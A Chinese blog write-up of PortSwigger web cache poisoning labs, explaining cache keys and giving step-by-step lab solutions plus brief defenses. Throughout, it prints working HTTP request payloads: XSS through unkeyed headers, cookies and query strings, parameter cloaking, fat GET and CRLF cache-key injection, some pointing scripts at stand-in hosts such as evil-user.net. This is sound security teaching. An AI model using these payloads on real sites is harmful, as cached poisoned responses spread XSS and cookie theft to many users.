freeBuf
主站

分类

漏洞 工具 极客 Web安全 系统安全 网络安全 无线安全 设备/客户端安全 数据安全 安全管理 企业安全 工控安全

特色

头条 人物志 活动 视频 观点 招聘 报告 资讯 区块链安全 标准与合规 容器安全 公开课

点我创作

试试在FreeBuf发布您的第一篇文章 让安全圈留下您的足迹
我知道了

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

PortSwigger Web Cache 投毒攻击
Drunkbaby 2022-07-14 12:58:16 348800
所属地 浙江省

博客地址 芜风

0x01 前言

师傅们如果做题有问题可以直接在文章下留言,或者是私信我即可,有些地方我个人交代的可能不太好,还请师傅们见谅。

最早听闻 Web Cache Poisoning 是在 HTTP 包里面吧,当时并没有怎么在意,现如今要正式面对它了。

Web Cache 不同于 OWASP TOP10 系列的漏洞锋利,它一般是作为一种辅助性手段,地位高于 CORS,低于 CSRF。

Web Cache 投毒在很多知名的网站上都有存在的隐患,比如 Google,百度,msn,必应等 …… 给人一种无孔不入的味道

image

0x02 概念明晰

学漏洞:知概念,晓进攻,懂防御。

先来明晰一下一些基本概念吧。

1. 什么是 Web Cache

理解 Web Cache,我们先用平常浏览 Web 网页的一些例子进行说明。

有没有发现自己在打开同一个网站的时候,打开那个网站的速度特别快,比如你常设置的首页,在打开的时候异常快速,这就是 Web Cache 的一种情况。

而 Web Cache 是从服务器 -> Response 这个角度出发考虑的。如果服务器必须单独向每个 HTTP 请求发送 Reponse 回应,则可能会使服务器过载,从而导致延迟问题和较差的用户体验,尤其是在繁忙时期。缓存主要是减少此类问题的一种方法。

轻轻吐槽一句:感觉我们学校的某 OJ 系统就是没有做好 Web Cache,所以大家一起用的时候体验极差。

Web Cache 位于服务器和用户之间,Web Cache 保存对特定请求的响应。通常在固定的时间内,如果另一个用户随后发送等效请求(也就是很多类似的请求,比如一直刷新界面),则 Web Cache 只是将缓存的响应的副本直接提供给用户,而无需来自后端的任何交互。这大大减少了服务器上必须处理的重复请求的数量,从而大大减轻了服务器上的负载。

  • 原理如图所示

image

2. 如何在 Web Cache 运行流程的基础上进行 Poison?

如何在 Web Cache 运行流程的基础上进行 Poison?也就是我们所说的恶意利用,或是恶意构造 Payload

如果攻击者首先触发服务器缓存附有恶意 Payload 的响应,当其他用户发送相同请求时即会接收到这个恶意的响应。从影响范围来看,一旦成功缓存被投毒的响应,会影响到大量的用户,比起以往某些只能针对某个用户发起的攻击,危害大很多很多。

因而 Web Cache Poisoning 是一种辅助攻击手段,有点扩大战果的味道。

3. Cache Key:缓存键

当 Web Cache 收到 HTTP 请求时,它首先必须确定是否存在可以直接提供的 Cache 响应,或者它是否必须转发请求以供后端服务器处理。Web Cache 通过比较请求组件的预定义子集(统称为“缓存键 —— Cache Key”)来标识等效请求。

  • 一般缓存键包括 Request Header 和 Host 头。服务器端只识别设置为缓存键的特征是否相同,这也就导致了 Web 缓存投毒漏洞的产生。

0x03 对于 Web Cache 进行投毒

  • 这一块的 Exploit 分为两部分,我们后续分开细讲一下。

利用,总的来说还是漏洞挖掘的一部分,在这之前,我们略微提一嘴 Web Cache 的危害。

Web Cache 的危害

四个字:扩大战果

1. 进行 Web Cache Poisoning 的思路

  • 讲的这一套思路基于已经挖到其他漏洞的前提下,单纯进行 Web Cache Poisoning 的思路。

(1) 找出未被 Web Cache 进行缓存的输入 ———— 例如 GET 请求中的参数,有些 GET 请求的参数会被其他用户先行请求。
(2) 从后端服务器诱发被投毒的响应。
(3) 得到被缓存的响应。

这样讲还是太粗略太粗略,我们深入理解一下。

一、找出未被 Web Cache 进行缓存的输入

害得拿出这张原理图

image

我们想要构造 Web Cache 投毒就需要我们的输入能够反馈在响应中,但是如果我们的输入被设置为缓存键,那就不可能有用户发出等效请求 ———— 因为这个地方用户的请求会被拦下来,一看原理图便立马明白了吧 ~

所以我们需要不断调试直到找到我们的输入既不会是缓存键又可以被反馈在被缓存的响应中。这样才能保证被投毒的响应缓存被投放到受害者那里,Port 推荐了一款插件 Param Miner 来辅助我们寻找这样的不会被缓存的字段。

image

使用比较简单,只需要右键选择 Guess headers 即可。并且为了不给真实用户造成困扰,可以开启 cache buster,后续我们讲一讲基本使用。

image

二、从后端服务器诱发被投毒的响应

我们确认了不会被缓存的输入以后,我们就要看服务端是如何处理这个输入的,如果可以动态反馈到响应中,就是我们能够发动 Web 缓存投毒的关键。

三、得到被缓存的响应

我们的输入可以被反馈到响应中还不够,还得能够生成缓存,这样才可以真正地将恶意 Payload 落地。所以我们为此还是要不断调试才能成功找到生成投毒缓存的操作。

image

总体来说还是比较抽象的,直接入靶场尝试。



整体的漏洞利用分两部分

一是基于缓存设计缺陷的 Web Cache Poisoning 攻击

二是基于缓存实现缺陷的 Web Cache Poisoning 攻击

0x04 基于缓存设计缺陷的 Web Cache Poisoning 攻击

1. 使用 Web Cache Poisoning 扩大 XSS 战果

因为 XSS 攻击也是有一部分是输入被反馈在响应中,所以 Web Cache 投毒可以与 XSS 相配合。我们以这一个 HTTP 请求为例说明一下。

GET /en?region=uk HTTP/1.1 
Host: innocent-website.com 
X-Forwarded-Host: innocent-website.co.uk 


HTTP/1.1 200 OK 
Cache-Control: public 
<meta property="og:image" content="https://innocent-website.co.uk/cms/social.png" />

此处标头的值会动态生成图像 URL,该 URL 将回显于 Response 中。

X-Forwarded-Host 指定的 URL 会代替 Host 的值被反馈在响应中,并且 X-Forwarded-Host 是不会被缓存的字段,但是Host和请求行是缓存键。

  • 所以所有 Host 为 innocent-website.com 的用户请求/en?region=uk时都会接收到被投毒的响应。

如果我们要利用的话,POC 如下

GET /en?region=uk HTTP/1.1 
Host: innocent-website.com 
X-Forwarded-Host: a."><script>alert(1)</script>" 


HTTP/1.1 200 OK 
Cache-Control: public 
<meta property="og:image" content="https://a."><script>alert(1)</script>"/cms/social.png" />
  • 有时候 Web Cache 也会替换为 JS 资源,例如下面这一 HTTP 请求。

GET / HTTP/1.1 
Host: innocent-website.com 
X-Forwarded-Host: evil-user.net // 写恶意的 EXP
User-Agent: Mozilla/5.0 Firefox/57.0 

HTTP/1.1 200 OK 
<script src="https://evil-user.net/static/analytics.js"></script>

接下来我们以这一靶场来体会体会利用 X-Forwarded-Host 头进行 Web Cache Poisoning 的案例。

Lab: Web cache poisoning with an unkeyed header

打开靶场,我们去商品界面进行抓包,通过修改X-Forwarded-Host参数为www.baidu.com,进行 Web 缓存测试。

image

从上图来看,现在是没有产生 Web 缓存的,然后我们插入到 X-Forwarded-Host 字段会替换掉本应是 Host 字段的值。
这样就相当于resources/js/tracking.js这个文件是可以伪造的,然后我们再发包观察回显。

image

我们再发包之后,X-Cache 从 miss 变成了 hit,这就代表着产生了 Web 缓存。

  • 接着,我们去到 Exploit Server,将 Payload 写入此文件下。

image

然后随便找一个靶场里面的商品,抓包,把 Exploit Server 的域名作为 X-Forwarded-Host 的参数,然后在 Repeater 当中重新发包几次让 Web 缓存生成。

发包之前需要先找到一个未被键入的参数,例如?a=1或者是其他的参数,发包直至 Cache 为 hit;再删除参数,发包直至 Cache 为 hit。

再到对应的商品界面进行刷新,即可触发alert(document.cookie)

  • 这里千万别把X-Forwarded-Host放到最下面一行,不然一直会发包失败。这道题如果踩坑的师傅可以私信我。

2. 对不被缓存的 Cookie 进行投毒

这种情况的利用较为苛刻,情况也比较少。我们以此 HTTP 请求为例

GET /blog/post.php?mobile=1 HTTP/1.1 
Host: innocent-website.com 
User-Agent: Mozilla/5.0 Firefox/57.0 
Cookie: language=pl; 
Connection: close

我们看到应用程序通过 Cookie 中的 language 的值来调整网站的语言,当该请求生成响应后,等效请求的用户收到的就是波兰语(pl)的页面了。
当然了,这种攻击方式比较少,因为很容易因为影响到正常用户被发现。

Lab: Web cache poisoning with an unkeyed cookie

  • 我们先抓包,添加一些参数探测试一下我们输入的值会去向何处。

image

我们可以看到 Cookie 中的 "fehost" 字段被自动拼接到Response 回应中的script元素下,那么我们可以修改这个字段的值实现 XSS 攻击。

payload

fehost=someString"-alert(1)-"someString

需要发几次包,使得 X-Cache 的值变为 hit,Port 这里时而会很卡,如果发包几次之后还是没有回显的话就去 MyAccout 界面,再回到发包的界面试一试。

image

3. 使用多个 HTTP Header 发起 Web Cache 投毒

  • 简单来说便是利用 Web Cache 投毒扩大 CSRF 的战果。

  • 我们前面学习的两种 Web Cache 投毒都是基于未键入的请求,而我们要发起更高级的攻击时,需要使用多个 HTTP Header。

我们以这一 HTTP 包为例

GET /random HTTP/1.1 
Host: innocent-site.com 
X-Forwarded-Proto: http //这里也有可以是 X-Forwarded-Scheme

HTTP/1.1 301 moved permanently 
Location: https://innocent-site.com/random

假设一个网站需要使用 HTTPS 协议进行安全通信,但是如果我们使用 HTTP 协议访问该网站,则会自动触发一个指向Host的重定向,那么我们在 Request 请求当中修改X-Forwarded-Host修改为一些恶意网站,即可造成 Web Cache 投毒的进一步攻击。

修改包,发起攻击

GET /random HTTP/1.1 
Host: innocent-site.com 
X-Forwarded-Proto: http
X-Forwarded-Host: evil.com

HTTP/1.1 301 moved permanently 
Location: https://innocent-site.com/evil.com

Lab: Web cache poisoning with multiple headers

  • 我们先按照上道题目一样,使用X-Forwarded-Host进行攻击,发觉之前的js路径失效了,我们无法进行攻击。

image

根据多 HTTP Header 攻击的思路,我们加上X-Forwarded-Scheme这一标头,并将其赋值 "HTTP"

X-Forwarded-Scheme: HTTP
X-Forwarded-Host: www.baidu.com

image

出现了Location,也就是重定向。

证明该靶场存在 Web Cache Poisoning 的隐患之后,我们还是和上题一样构造 Payload。

image

发包这里,我们去到 GET 请求的/resources/js/tracking.js接口下,这个接口的请求我们点击 f12,在新的页面打开此 js。

先带上参数?cb=1234,这是第一步:找出未被 Web Cache 进行缓存的输入。

image

点击 "Follow redirection",若出现alert(document.cookie则说明成功。

image

再将?cb=1234删除,发包即可。

image

4. 通过 Cache-Control 导致信息泄露

  • 这里主要是介绍了一下Vary 头Cache-Control

  • 我们在 HTTP Request 包中添加入 Via 与 Cache-Control便可得到泄露的信息。

Cache-Control

当响应包含有关清除缓存的频率或当前缓存的响应的时长的信息时,我们可以得到一个叫做 "有效期" 的信息;有效期可以帮助我们去计算时间从而达到 Web Cache Poisoning。

Vary Header

Vary 头指定了一些可以被视为缓存键的字段列表,常见的如 User-Agent 头,应用程序通过其可以仅向指定用户群投放响应,也可以利用这个特点向特定用户群发动 Web 缓存投毒攻击。

Lab: Targeted web cache poisoning using an unknown header

抓包 GET 请求,接口为/,使用Para Miner查找可以添加的标头。

image

  • 在 HTTP Request 标头中添加X-Host,证明存在 Web Cache 投毒

image

接着,制作 Payload

image

尝试了与之前一致的攻击手段,无法攻击成功,后来看了 Solution 才知道与Vary 头有关系,因为此处的User-Agent也是缓存键,我们去到 Blog 文章下发送一段钓鱼性质的评论,钓到其他人的 User-Agent。

payload:

<img src="https://your-exploit-server-id.web-security-academy.net/foo" />

image

再去到Access Log当中复制受害者的 UA。每隔几秒刷新一次页面,直到看到不同用户(ip不同)发出的请求。我们把受害者的 UA 粘贴进去,再进行如上的攻击。

image

接着替换 UA,并发包

image

5. 对 DOM 型漏洞进行 Web Cache 投毒

不仅可以通过 Web Cache 投毒 JS 文件,还可以导入恶意的 JSON 字符串,例如

{"someProperty" : "<svg onload=alert(1)>"}

如果这条 Payload 被传递到恶意的 sink 就可能触发基于 DOM 的漏洞,如果想要让网站加载恶意 JSON 就需要 CORS 授权允许跨站。我们以这一 HTTP 请求举例进行说明。

HTTP/1.1 200 OK 
Content-Type: application/json 
Access-Control-Allow-Origin: * 
{ 
    "malicious json" : "malicious json" 
}
  • 这一种攻击方式对代码审计的要求比较高,大家可以耐心看一看。

Lab: Web cache poisoning to exploit a DOM vulnerability via a cache with strict cacheability criteria

使用 Param Miner 进行扫描,使用 Param Miner 扫描比较慢,不要着急 ~ ;最后发现在接口/中存在 Web Cache Poisoning,且可伪造字段为X-Forwarded-Host

image

  • 在 Repeater 当中尝试X-Forwarded-Host头,发包。

image

这里 data json 当中,"host" 到底作为何用,我们去追踪一下。后续发现此标头会覆盖 data.host 传递给 initGeoLocate() 函数的变量。

image

那也就是说,这里的initGeoLocate('//' + data.host + '/resources/json/geolocate.json',传入的 JSON 数据容易受到 DOM 型 XSS 的攻击。我们转战那一容易受到影响的 JSON 文件。

  • 根据我们前文所说的需要启用 CORS,我们去到 Exploit Server 处,在头部添加 ACAO,并写下 Payload。Payload 添加一个 JSON 对象,值为 DOM 型 XSS 的 Payload。

image

接着还是以之前的攻击方式 ———— 添加一个未被键入的参数,发包直至 Cache 为 hit;再删除参数,发包直至 Cache 为 hit。

image

6. Web Cache 完整投毒过程学习

  • 这里是 Port 给我们尝试综合性 Web Cache 投毒的一中学习方式。将上面的攻击手段结合/综合到一起来。

Lab: Combining web cache poisoning vulnerabilities

进入靶场抓包,使用 Param Miner 探测 Web Cache,探测结果出 HTTP 包支持 X-Forwarded-Host 和 X-Original-URL 标头。

image

修改X-Forwarded-Host的值,发包。

image

这里 host 被修改为了我们输入的X-Forwarded-Host,和上一题一样,我们去查找host被用于何处。

image

如此,我们去到/resources/json/translations.json代码审计。

image

Translations.js

因为只翻译首页,所以所谓的翻译就是一对一的替换,然后我们留意一下红框部分,就是说除了英语其他的都会执行翻译,也就是说除了英语以外的我们都能用来插入 DOM-XSS 语句。
考虑到乱码问题,我们选择 en-gb 这个,虽然也是英语,但是因为代码里严格匹配 en,所以这个也是可以用来插入的,而且也不用考虑乱码的问题,现在我们去 Exploit Server 写入 DOM 型 XSS 的 Payload。

Payload 如图所示

image

通过选取 Language 为 espanol 抓取接口为/?localized=1这一包,因为你选择翻译的时候会请求这个页面,然后修改 X-Forwarded-Host 字段为 Exploit Server 的,并产生 Web Cache。

但是这是翻译页面,我们需要在首页加入一个 X-Original-URL 字段指向翻译页面,这样访问首页的人就都会被重定向到这个页面了。


0x05 基于 Cache Key 缺陷的 Web Cache 投毒攻击

传统的攻击经常通过将 Payload 注入查询字符串或者是 URL 路径实现,但是请求行是缓存键,这就导致不可能会有用户发出等效请求,也就接收不到投毒响应缓存。

  • 但是如果有 CDN 的话,他们会将缓存键内容进行某些处理之后再存入缓存。这些处理一般有一下三种

  • 排除查询字符串

  • 过滤掉特定的查询参数

  • 规范缓存键中的输入

尤其是前两种,即使我们注入 payload 到查询字符串或参数中,用户也可能收到被投毒的响应缓存。

基于 Cache Key 缺陷的 Web Cache 投毒的基本步骤

基于 Cache Key 缺陷的 Web Cache 投毒一般三步走

1. 辨认接收到的响应是来自缓存还是服务器

这一步被称作辨认 Cache oracle,国内暂时也有很多文章对这一用词进行翻译与解释,我个人把它作为一种简单的反馈辨认。

  • 我们需要知道我们接收到的响应是来自缓存还是服务器。

这一反馈可以从如下三种地方获得。

1)某些 HTTP 头。
2)网页中能够欸我们修改的地方,例如添加评论这种行为。
3)不同的响应时间 —— 可以理解为 SQL 注入当中的时间盲注类似。

有的时候应用程序会使用第三方的缓存组件,此时可以通过查阅相关文档的方式得知缓存的过程。例如,基于 Akamai 的网站可能支持Pragma:akamai-x-get-cache-key,它可以在响应标头中显示缓存键。

2. 观察缓存对缓存键是否有其他的处理

比如剔除 Host 中的端口号等,我们以下面这一 HTTP 请求为例,在这一 HTTP 请求当中,Host 值会被动态拼接进 Location 中。

GET / HTTP/1.1 
Host: vulnerable-website.com 

HTTP/1.1 302 Moved Permanently 
Location: https://vulnerable-website.com/en 
Cache-Status: miss

若是对上面的请求添加端口,响应如下

GET / HTTP/1.1 
Host: vulnerable-website.com:1337 

HTTP/1.1 302 Moved Permanently 
Location: https://vulnerable-website.com:1337/en 
Cache-Status: miss

我们再去掉端口号重新发送请求

GET / HTTP/1.1 
Host: vulnerable-website.com 

HTTP/1.1 302 Moved Permanently 
Location: https://vulnerable-website.com:1337/en 
Cache-Status: miss

发现已经生成缓存,但是缓存是我们加了端口号发出时的响应版本。这就说明端口号是不会加入缓存键中的。

3. 进行漏洞利用
  • 前文我们说到 Web Cache 投毒这一攻击手段是用来扩大战果的,所以最后一步我们需要将漏洞与 Web Cache 投毒联合使用。

上述为基于 Web Cache 键( Key ) 缺陷的一些漏洞,我们接下来详细学习一下攻击手段。


1. 通过未被缓存的端口进行攻击

缓存键可能只会缓存域名或主机名而不缓存端口号。
所以我们可以利用这个特点发动如 DDOS (向任意端口号发出大量请求),若网站允许端口不为数字,则我们可以进行 XSS 攻击。

2. 通过未被缓存的查询字符串攻击

若查询的字符串未被键入,则发送的查询字符串即使值不同也会产生相同的响应缓存,这就产生了等效请求。

基本的攻击手段 ———— 比如是一个 GET 请求,我们在接口处添加此参数?evil='/><script>alert(1)</script>,这一段字符串若未被缓存,则其他用户也会因为等效请求而受到攻击。

探测不被缓存的查询字符串

有的 Web 程序并不会在回显中反映出是否产生了缓存,我们可以在其他请求头中下手,例如加在 Accept-Encoding 字段中

Accept-Encoding: gzip, deflate, cachebuster 
Accept: */*, text/cachebuster 
Cookie: cachebuster=1 
Origin: https://cachebuster.vulnerable-website.com

其实也可以在 Param Miner 开启动态的缓存粉碎机(cachebuster)。还有一种办法就是修改不同的路径,但是仍然可以的到相同的响应缓存。对应不同的系统有着不同的路径

Apache: GET //
Nginx: GET /%2F
PHP: GET /index.php/xyz
.NET GET /(A(xyz)/

Exploit of 不被缓存的查询字符串

查询字符串不被缓存会扩大 XSS 的攻击影响,因为附有 XSS Payload 的查询字符串的请求在缓存看来与普通请求无异,但是普通用户可能就会接收到被投毒的响应缓存,这就产生了等效请求。

Lab: Web cache poisoning via an unkeyed query string)

  • 先抓包,去到/这一接口。使用我们上述的攻击手段,在 GET 请求的参数中添加?evil='/><script>alert(1)</script>即可,记得发包至X-Cache: hit的状态哦 ~

image

3. 仅有几个不被缓存的查询参数时

在上一攻击手段当中,我们直接输入?evil作为查询参数也能够成功发送请求,但在很多 Web 程序当中会对查询参数进行限制;又或者会将仅仅几个参数执行不缓存的操作。

这时就需要用到 Fuzz 测试,我们先探测一下哪些查询参数是可以被利用的,再对这些可利用的参数进行是否会被缓存的测试。

  • 但是这样一来,因为能够利用的参数有限,所以我们造成的攻击面也会少几分。

Lab: Web cache poisoning via an unkeyed query parameter

  • 这里的 Fuzz 过程我就先跳过啦,最后得出可用的参数为utm_content,构造 Payload

/?utm_content='/><script>alert(1)</script>

记得发包至X-Cache: hit的状态

image

4. 利用多个参数实现缓存参数隐藏

  • 听着很高深,实际很简单:通过 GET 请求的问号(?)进行攻击。我们都知道 GET 请求的参数都是通过问号来传递的。

  • 如果一个 GET 请求中有多个问号,就会以第一个问号作为查询参数的开始,后面的问号中的参数就不会被作为缓存键处理。我们以下面一个 GET 请求作为例子进行说明。

GET /?example=123?excluded_param=bad-stuff-here

这时,excluded_param 就不会被作为缓存键处理。

有些框架比较特殊,例如 Ruby on Rails 框架将与(&)和分号 (;)作为参数分隔符。但是如果缓存不支持这样解析参数,就会造成差异。

GET /?keyed_param=abc&excluded_param=123;keyed_param=bad-stuff-here

以此请求为例,eyed_param 就会被视为缓存键,而excluded_param 不会,而且只会被缓存解析成两个参数。

keyed_param=abc 
excluded_param=123;keyed_param=bad-stuff-here

会被 Ruby on Rails 进一步解析成三个参数

keyed_param=abc 
excluded_param=123 
keyed_param=bad-stuff-here

此时 keyed_param 的值就会被覆盖为 bad-stuff-here,也会得到由这个值生成的响应,但是在缓存看来只要该参数值为 abc 的都会被视为该响应的等效请求。利用这种特点可以发动 JSONP 攻击,它会将回调函数名附在查询参数中。

GET /jsonp?callback=innocentFunction

我们可以利用上面的特点替换成我们指定的函数名。

Lab: Parameter cloaking

有了上面的学习过程,做起靶场来健步如飞(诶好像我的比喻不太恰当)。

抓包定位于 "GET /js/geolocate.js?callback=setCountryCookie"

在执行 Web Cache 投毒攻击之前,我们需要先确定所用的框架 ———— 例如 Ruby on Rails 框架,这是为了构造对应的 Payload。其次进行 Fuzz 测试,探测一下可攻击的查询关键字。

  • 探测过程先行省略,这里挂一下 Payload

GET /js/geolocate.js?callback=setCountryCookie&utm_content=foo;callback=alert(1)

记得发包至X-Cache: hit的状态

image

5. 利用 Fat GET 请求发起攻击

Fat GET 请求,可以有两个参数值,一个放在问号后面,另外一个在 HTTP Body 当中,如下 HTTP 请求所示。这里的param会成功覆盖?param=innocent使得param成为bad-stuff-here

GET /?param=innocent HTTP/1.1 
… 
param=bad-stuff-here

如果 X-HTTP-Method-Override 头也是非缓存键,我们可以构造伪 POST 请求来攻击,例如

GET /?param=innocent HTTP/1.1
Host: innocent-website.com
X-HTTP-Method-Override: POST
…
param=bad-stuff-here

Lab: Web cache poisoning via a fat GET request

实现起来也比较简单,这里便直接挂 Payload,但是实战渗透的时候别忘记 Fuzz 测试。

发包接口 /js/geolocate.js

  • 这里有个小坑 ——callback=alert(1)需要放到 Connection 后两行,不然会发包失败。

还有一个小坑,这里发包之前要先修改callback为随意数据,将 setCountryCookie 修改之后才能将 callback 赋值为alert(1)

image

这样的攻击方法在缓存看来直接访问首页的人会被识别成等效页面而接收到缓存副本,在后台看来会识别成 POST 方法而读取覆盖之后的 callback 参数的值而返回投毒响应,从而使得投毒生效。

如此发包之后,再将 callback 修改为我们的 Payload

callback=alert(1)

这里我直接把数据包发到 Intruder 下,使用 Null Payloads 发包解决 ~

image

6. 利用资源导入中的动态内容进行攻击

有的时候虽然看上去是导入静态文件,但是也可以向查询字符串中注入恶意 payload 构造某些攻击,例如下面这个 HTTP 请求。

GET /style.css?excluded_param=123);@import… HTTP/1.1 

HTTP/1.1 200 OK 
… 
@import url(/site/home/index.part1.8a6715a2.css?excluded_param=123);@import…

甚至可以尝试 XSS payload

GET /style.css?excluded_param=alert(1)%0A{}*{color:red;} HTTP/1.1 

HTTP/1.1 200 OK 
Content-Type: text/html 
… 
This request was blocked due to…alert(1){}*{color:red;}

7. 缓存解析 URL 编码的隐患

原本的 XSS 攻击里面,是不能使用 URL 编码进行绕过的,如果使用 URL 编码是不会被后端所解析的;但是缓存不同,会自动进行 URL 解码。

我们 在Web 缓存还处于生效,给受害者投放带 Payload 的 URL 即可。

Lab: URL normalization

image

8. 缓存键注入

我们还可以利用双下划线(__)分隔不同的字段,让两个不同的请求识别为等效请求。

GET /path?param=123 HTTP/1.1 
Origin: '-alert(1)-'__ 

HTTP/1.1 200 OK 
X-Cache-Key: /path?param=123__Origin='-alert(1)-'__ 
...

<script>…'-alert(1)-'…</script>

下面这一请求则是等效请求,会造成 Web Cache 投毒

GET /path?param=123__Origin='-alert(1)-'__ HTTP/1.1 

HTTP/1.1 200 OK 
X-Cache-Key: /path?param=123__Origin='-alert(1)-'__ 
X-Cache: hit 

...

<script>…'-alert(1)-'…</script>

Lab: Cache key injection)

这道题目比较难,如果只是以了解为主的同学可以放一放。

我们需要构造一条 Web Cache 投毒链,因为访问首页会自动跳转到 /login,所以我们需要先在 /js/localize.js 中构造 Payload 然后在 /login 构造 Payload。

经过 Fuzz 测试,utm_content 和 Origin 的值是可控的,但是 URL 里面的 x 就只能是 x=1,这个 x=1 是开启缓存功能的开关。

我们先看 /js/localize.js 中构造的 Payload

GET /js/localize.js?lang=en?utm_content=z&cors=1&x=1 HTTP/1.1 
Origin: x%0d%0aContent-Length:%208%0d%0a%0d%0aalert(1)$$$$
  • 这里的 Payload 构造是有一定难度的,首先是 CRLF 注入,CR 为回车符,LF 为换行符,CRLF 相当于进行换行的操作,这样可以让我们在一个 HTTP Header 字段中注入多个参数。%20为空格,%0a为换行。

  • 接着,我们在 Origin 字段当中实现我们的 XSS 攻击,为了能将请求的内容注入到响应中,我们需要开启 CORS,即将 cors=0 改为 cors=1

image

下一步我们构造 /login 处的 payload

GET /login?lang=en?utm_content=x%26cors=1%26x=1$$Origin=x%250d%250aContent-Length:%208%250d%250a%250d%250aalert(1)$$%23 HTTP/1.1

因为我们已经利用 /js/localize.js 构造 Web 缓存,那么在 /login 的 URL 里面直接构造这样的 payload 会被缓存识别为等效页面而投放中毒缓存。

image

9. 内部缓存投毒

有点 CSRF 的味道吧,和之前的攻击方法很像,这里就不展开讲了。不同之处在于,因为是缓存键的问题,我们不需要先找一个不被键入的参数。也就是不需要尝试?Cb=1234那种先行测试方式了。

但是从攻击的角度来说很类似于 XXE 中的复用本地 DTD 的意思。

Lab: Internal cache poisoning

先用 Param Miner 扫一下,探测结果是X-Forwarded-Host字段可用。

尝试输入X-Forwarded-Host: 123发现每次发包都会有地方变成123,看来可控的地方非常之多啊 ~
image

因为每一次加载页面,都会自动加载/js/geolocate.js文件,于是我们在 Exploit Server 中构造/js/geolocate.js的恶意 Payload。

image

多发几次包,使得可控的地方全部变成我们的恶意 Payload

0x06 Web Cache 投毒的防御

**(1)**Web 缓存投毒漏洞非常隐蔽,决定开启缓存功能的应用程序一定要进行严格的安全防护,尽量使用静态响应及对导入的资源进行校验。尽可能修复客户端漏洞以防止被进一步利用。

**(2)**应禁止模棱两可的请求方法,如 fat Get 方法。应尽可能禁用不需要的一切 HTTP 头字段,无论多罕见。

0x07 小结一下

Web Cache 投毒攻击还是那句话,危害高于 CORS,低于 CSRF,它更是一种扩大战果的工具,最近学习 Web Cache 还是有点耗费精力。

# 渗透测试 # web安全 # 漏洞利用 # web cache
免责声明
1.一般免责声明:本文所提供的技术信息仅供参考,不构成任何专业建议。读者应根据自身情况谨慎使用且应遵守《中华人民共和国网络安全法》,作者及发布平台不对因使用本文信息而导致的任何直接或间接责任或损失负责。
2. 适用性声明:文中技术内容可能不适用于所有情况或系统,在实际应用前请充分测试和评估。若因使用不当造成的任何问题,相关方不承担责任。
3. 更新声明:技术发展迅速,文章内容可能存在滞后性。读者需自行判断信息的时效性,因依据过时内容产生的后果,作者及发布平台不承担责任。
本文为 Drunkbaby 独立观点,未经授权禁止转载。
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf 客服小蜜蜂(微信:freebee1024)
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
从0到1学习 Web 安全
Drunkbaby LV.5
https://github.com/Drun1baby/
  • 39 文章数
  • 235 关注者
CVE-2024-22243 Spring Web UriComponentsBuilder URL 解析不当漏洞分析
2024-02-26
CVE-2022-42889 Apache Commons Text RCE 漏洞分析与 CodeQL
2024-02-23
CVE-2023-22527 Confluence 未授权 SSTI RCE 漏洞分析
2024-02-22
文章目录